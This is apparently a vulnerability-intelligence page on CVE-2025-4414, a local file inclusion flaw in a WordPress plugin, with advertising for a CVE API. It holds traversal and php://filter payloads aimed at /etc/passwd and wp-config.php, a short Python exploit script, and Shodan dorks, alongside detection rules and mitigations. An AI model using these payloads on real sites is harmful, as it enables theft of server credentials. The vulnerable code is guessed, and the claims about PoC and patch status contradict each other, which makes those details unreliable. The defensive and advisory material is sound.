☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Cmsmasters logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-4414

CVE-2025-4414 Local File Inclusion in Cmsmasters
📅 PUBLISHED: 2025-07-04 12:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.55%
👁️
0.55% probability
13.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4414 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the CMSMasters Content Composer plugin for WordPress (version < 2.5.7). The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, WordPress configuration files (wp-config.php), or other system files. The CVSS score of 8.1 (High) reflects the ease of exploitation (no authentication required) and the high impact on confidentiality. No public proof-of-concept (PoC) or exploit code has been released at this time, but the vulnerability is considered actively exploitable due to the nature of LFI in WordPress plugins.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The supply chain risk is elevated because the plugin is a third-party component integrated into WordPress sites. No malicious packages have been identified, but the lack of a patch increases the risk of supply chain attacks if the plugin is not removed or updated.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - Exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): None (N) - No authentication needed.
  • User Interaction (UI): None (N) - No user action required.
  • Scope (S): Unchanged (U) - The vulnerable component and the affected resource are the same.
  • Confidentiality (C): High (H) - Full file read capability.
  • Integrity (I): None (N) - No file modification.
  • Availability (A): None (N) - No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete disclosure of sensitive server files.

Deep Dive & Mechanics

The vulnerability exists in the cmsmasters-content-composer plugin, specifically in PHP code that uses user-supplied input to construct file paths for include or require statements. The plugin likely has a parameter (e.g., file, template, view) that is passed to a function like include($_GET['file'] . '.php') without proper sanitization. An attacker can use path traversal sequences (e.g., ../../../../etc/passwd%00) to include arbitrary files. The null byte injection (%00) may be used to truncate the appended .php extension in older PHP versions, but modern PHP versions (5.3.4+) are immune to null byte truncation. However, the attacker can still include files with .php extension or use other techniques like double encoding.

The vulnerable code likely resembles:

$file = $_GET['file'];
include($file . '.php');

An attacker can exploit this by sending a request like:

GET /wp-content/plugins/cmsmasters-content-composer/vulnerable.php?file=../../../../etc/passwd%00

If the PHP version is vulnerable to null byte truncation, this will include /etc/passwd. Otherwise, the attacker can target files with .php extension, such as /etc/passwd (if it exists) or use wrapper protocols like php://filter to read arbitrary files.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.5.7):

// vulnerable.php
$file = $_GET['file'];
include($file . '.php');

Patched Code (version 2.5.7+):

// patched.php
$allowed_files = array('template1', 'template2', 'default');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    // Handle error
}

The patched version uses a whitelist approach, only allowing predefined file names. This prevents any path traversal or arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Install WordPress on a local server (e.g., XAMPP, Docker).
  2. Install CMSMasters Content Composer plugin version 2.5.6 (vulnerable).
  3. Ensure the plugin is activated.

Exploitation Steps:

  1. Identify the vulnerable endpoint. Common patterns include:
    • /wp-content/plugins/cmsmasters-content-composer/includes/class-cmsmasters-content-composer.php?file=...
    • /wp-content/plugins/cmsmasters-content-composer/templates/...
  2. Use path traversal to read sensitive files:
    GET /wp-content/plugins/cmsmasters-content-composer/vulnerable.php?file=../../../../etc/passwd%00
    
  3. If null byte fails, try reading WordPress configuration:
    GET /wp-content/plugins/cmsmasters-content-composer/vulnerable.php?file=../../../wp-config
    
    (Note: wp-config.php will be included as PHP, so it may not display directly. Use php://filter to encode it.)
  4. Use PHP wrappers for file disclosure:
    GET /wp-content/plugins/cmsmasters-content-composer/vulnerable.php?file=php://filter/convert.base64-encode/resource=../../../wp-config
    
    This will return the base64-encoded content of wp-config.php.

Example Exploit (Python):

import requests

target = "http://target.com/wp-content/plugins/cmsmasters-content-composer/vulnerable.php"
payload = "php://filter/convert.base64-encode/resource=../../../wp-config"
r = requests.get(target, params={"file": payload})
print(r.text)

Blue Team (Defensive)

Detection:

  • Monitor for requests containing file=php://filter or file=../../ in the query string.
  • Look for unusual file paths in include/require calls via PHP error logs.
  • Use WAF rules to block path traversal patterns.

Hunting:

  • Search web server logs for GET requests to the plugin directory with suspicious file parameters.
  • Check for base64-encoded strings in HTTP responses.

Mitigation:

  • Immediately update the plugin to version 2.5.7 or later.
  • If patching is not possible, disable or remove the plugin.
  • Implement a Web Application Firewall (WAF) with rules to block LFI attempts.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests containing file=php://filter or file=..%2f..%2f patterns.
    • Requests to /wp-content/plugins/cmsmasters-content-composer/ with suspicious query strings.
  • File System IOCs:
    • Unexpected inclusion of files like /etc/passwd, /etc/shadow, or wp-config.php in PHP error logs.
  • Log IOCs:
    • PHP warning messages: include(../../../../etc/passwd): failed to open stream: No such file or directory
    • Access log entries with %00 (null byte) in the URL.

Detection Engineering

YARA Rule

rule CVE_2025_4414_LFI_Detection {
    meta:
        description = "Detects attempts to exploit CVE-2025-4414 in CMSMasters Content Composer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4414"
    strings:
        $path_traversal = /file=\.\.(\/|\\)[^&]*/ nocase
        $php_wrapper = /file=php:\/\// nocase
        $null_byte = /%00/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-4414 - CMSMasters Content Composer LFI Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests attempting to exploit PHP Local File Inclusion in CMSMasters Content Composer plugin.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains:
            - '/wp-content/plugins/cmsmasters-content-composer/'
        c-uri|contains|all:
            - 'file='
            - '..'
    condition: selection
falsepositives:
    - Legitimate use of file parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4414 CMSMasters Content Composer LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/cmsmasters-content-composer/"; http_uri; content:"file="; http_uri; content:".."; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Update the CMSMasters Content Composer plugin to version 2.5.7 or later. If no patch is available, disable or remove the plugin entirely.
  2. Virtual Patching: If immediate update is not possible, implement a WAF rule to block requests containing file=php://filter or file=.. in the query string.
  3. Server Hardening:
    • Disable allow_url_include in php.ini to prevent remote file inclusion.
    • Set open_basedir to restrict PHP file access to the web root.
    • Use a PHP version that is not vulnerable to null byte truncation (5.3.4+).
  4. Monitoring: Enable detailed logging for web server and PHP errors. Monitor for LFI patterns.
  5. Least Privilege: Ensure the web server runs with minimal permissions to limit the impact of file disclosure.

Valters IT - Securing digital frontiers, one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"CMSMasters Content Composer"
http.html:"cmsmasters-content-composer"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4414/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.